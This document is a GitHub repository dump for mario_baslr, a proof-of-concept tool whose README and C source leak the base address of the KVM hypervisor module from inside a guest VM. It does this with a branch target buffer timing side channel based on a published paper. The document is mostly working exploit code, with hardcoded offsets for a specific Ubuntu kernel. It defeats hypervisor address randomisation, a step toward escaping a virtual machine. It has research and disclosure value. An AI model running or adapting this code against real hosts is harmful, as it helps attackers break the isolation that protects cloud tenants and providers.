├── baslr.png ├── README.md └── mario_baslr.c /baslr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/felixwilhelm/mario_baslr/HEAD/baslr.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mario_baslr 2 | 3 | ![alt text](https://github.com/felixwilhelm/mario_baslr/raw/master/baslr.png "mario_baslr output") 4 | 5 | 6 | This repository contains a small Proof-of-Concept tool for leaking the base address of the KVM hypervisor kernel module (kvm.ko) from a guest VM. It does this by using a timing side-channel created by collisions in the branch target buffer (BTB) of modern Intel CPUs. 7 | This approach is based on the great research paper ["Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR"] (http://www.cs.binghamton.edu/~dima/micro16.pdf) by Dmitry Evtyushkin, Dmitry Ponomarev and Nael Abu-Ghazaleh. 8 | 9 | Interestingly, the authors of the original paper don't seem to have realised that their technique is not only usable for attacks against KASLR or other user-space tools but also works regardless of virtualization boundaries. This is an important difference to other hardware based timing 10 | attacks such as `prefetch`, which can only be used for addresses that are mapped in the execution context of the attacker. 11 | 12 | In theory the BTB side-channel offers a generic way to bypass hypervisor/host ASLR in virtualized environments. However, there are a number of important restrictions: 13 | * As discussed in the linked paper, the BTB only uses bits 0-30 as hash input. This means ASLR implementations that also randomize the most significant bits of virtual addresses can only be weakened. 14 | * The BTB hashing mechanism does not seem to be very collision safe. This means the PoC tool might not always find a unique base addresses and return multiple guesses. 15 | * The attacker needs a way to trigger execution of control-flow instructions in the target using its own CPU core. This is relatively easy for hypervisor code (by triggering a VM exit) but might be more difficult when targeting worker processes or device backends. 16 | 17 | Only the second issue has an impact when targeting the KVM kernel module, making KVM the easiest target for this attack. 18 | 19 | The offsets used in the PoC are targeting kvm.ko compiled for Ubuntu 16.04 with a 4.4.0-38-generic kernel. Future versions might 20 | include a fingerprinting mechanism to make this usable in the real world. 21 | -------------------------------------------------------------------------------- /mario_baslr.c: -------------------------------------------------------------------------------- 1 | /* 2 | mario_baslr.c 3 | Felix Wilhelm [fwilhelm@ernw.de] 4 | 5 | Leaks kvm.ko base address from a guest VM 6 | using time delays created by branch target buffer 7 | collisions. 8 | 9 | Usage: 10 | - change function + jump offsets for kvm_cpuid and kvm_emulate_hypercall 11 | to the correct values for the KVM version of your target. 12 | (todo: version fingerprinting) 13 | - compile with gcc -O2 (!) 14 | - if base address does not show up after a few tries increase MAX_SEARCH_ADDRESS 15 | or NUM_RESULTS 16 | 17 | See github.com/felixwilhelm/mario_baslr/ for more info. 18 | */ 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #define NUM_RESULTS 8 27 | 28 | #define MAX_SEARCH_ADDRESS 0xfc09f0000 29 | 30 | void cpuid(int code) { 31 | asm volatile("cpuid" : : "a"(code) : "ebx", "ecx", "edx"); 32 | } 33 | 34 | uint64_t rdtsc() { 35 | uint32_t high, low; 36 | asm volatile(".att_syntax\n\t" 37 | "RDTSCP\n\t" 38 | : "=a"(low), "=d"(high)::); 39 | return ((uint64_t)high << 32) | low; 40 | } 41 | 42 | uint64_t time_function(void (*funcptr)()) { 43 | uint64_t start; 44 | for (int i = 0; i < 50; i++) { 45 | funcptr(); 46 | } 47 | asm volatile("vmcall" : : : "eax"); 48 | cpuid(0); 49 | start = rdtsc(); 50 | funcptr(); 51 | uint64_t end = rdtsc(); 52 | cpuid(0); 53 | return end - start; 54 | } 55 | 56 | void jump(void) { 57 | asm volatile("jmp target\n\t" 58 | "nop\n\t" 59 | "nop\n\t" 60 | "target:nop\n\t" 61 | "nop\n\t"); 62 | } 63 | 64 | uint64_t move_and_time(uint64_t addr) { 65 | void *mapped = mmap((void *)addr, 2048, PROT_READ | PROT_WRITE | PROT_EXEC, 66 | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 67 | memcpy((void *)addr, jump, 512); 68 | uint64_t res = 0; 69 | for (int i = 0; i < 50; i++) { 70 | res += time_function((void *)addr); 71 | } 72 | munmap(mapped, 2048); 73 | return res / 50; 74 | } 75 | 76 | typedef struct _testcase { 77 | const char *function_name; 78 | uint32_t function_offset; 79 | uint16_t jump_offsets[4]; 80 | } testcase; 81 | 82 | typedef struct _result { 83 | uint64_t timing; 84 | uint64_t address; 85 | } result; 86 | 87 | int cmp(const void *a, const void *b) { 88 | uint64_t ta = ((result *)a)->timing; 89 | uint64_t tb = ((result *)b)->timing; 90 | if (ta < tb) 91 | return -1; 92 | else if (ta > tb) 93 | return 1; 94 | return 0; 95 | } 96 | 97 | void search_module_base(testcase *t, result *results) { 98 | uint64_t low = 0xfc0000000 + t->function_offset; 99 | uint64_t high = MAX_SEARCH_ADDRESS; 100 | 101 | memset(results, 0, sizeof(result) * NUM_RESULTS); 102 | 103 | uint64_t sum = 0, count = 0; 104 | for (uint64_t c = low; c <= high; c += 0x1000) { 105 | sum += move_and_time(c); 106 | count++; 107 | } 108 | 109 | uint64_t average = sum / count; 110 | 111 | for (uint64_t c = low; c <= high; c += 0x1000) { 112 | uint64_t timing = 0; 113 | for (int i = 0; i < 4; i++) { 114 | timing += move_and_time(c + t->jump_offsets[i]); 115 | } 116 | 117 | if (timing > (average * 8)) { 118 | printf("[!] skipping outlier @ %lx : %ld\n", c, timing); 119 | continue; 120 | } 121 | 122 | if (timing > results[0].timing) { 123 | // printf("[.] new candidate @ %lx : %ld\n", c, timing); 124 | results[0].timing = timing; 125 | results[0].address = c; 126 | qsort(results, NUM_RESULTS, sizeof(result), cmp); 127 | } 128 | } 129 | } 130 | 131 | testcase kvm_cpuid = {.function_name = "kvm_cpuid", 132 | .function_offset = 0x3ead0, 133 | .jump_offsets = {0, 50, 69, 144}}; 134 | 135 | testcase kvm_emulate_hypercall = { 136 | .function_name = "kvm_emulate_hypercall", 137 | .function_offset = 0xf650, 138 | .jump_offsets = {0, 47, 56, 66}, 139 | }; 140 | 141 | int main(int argc, char **argv) { 142 | result r[NUM_RESULTS], r2[NUM_RESULTS]; 143 | 144 | search_module_base(&kvm_cpuid, r); 145 | search_module_base(&kvm_emulate_hypercall, r2); 146 | 147 | int hit = 0; 148 | 149 | for (int i = NUM_RESULTS; i >= 0; i--) { 150 | result a = r[i]; 151 | for (int j = NUM_RESULTS; j >= 0; j--) { 152 | result b = r2[j]; 153 | if (a.address - b.address == 154 | kvm_cpuid.function_offset - kvm_emulate_hypercall.function_offset) { 155 | printf("[x] potential hit @ %lx : %lx\n", a.address, b.address); 156 | printf("[x] kvm_cpuid @ %lx\n", 0xffffffff00000000 | a.address); 157 | printf("[x] kvm_emulate_hypercall @ %lx\n", 158 | 0xffffffff00000000 | b.address); 159 | printf("[x] potential kvm.ko base address @ %lx\n", 160 | 0xffffffff00000000 | (a.address - kvm_cpuid.function_offset)); 161 | hit = 1; 162 | } 163 | } 164 | } 165 | 166 | if (!hit) { 167 | printf("[!] Did not find a possible match :(\n[!] If you are sure your " 168 | "offsets are correct try again.\n"); 169 | } 170 | } 171 | --------------------------------------------------------------------------------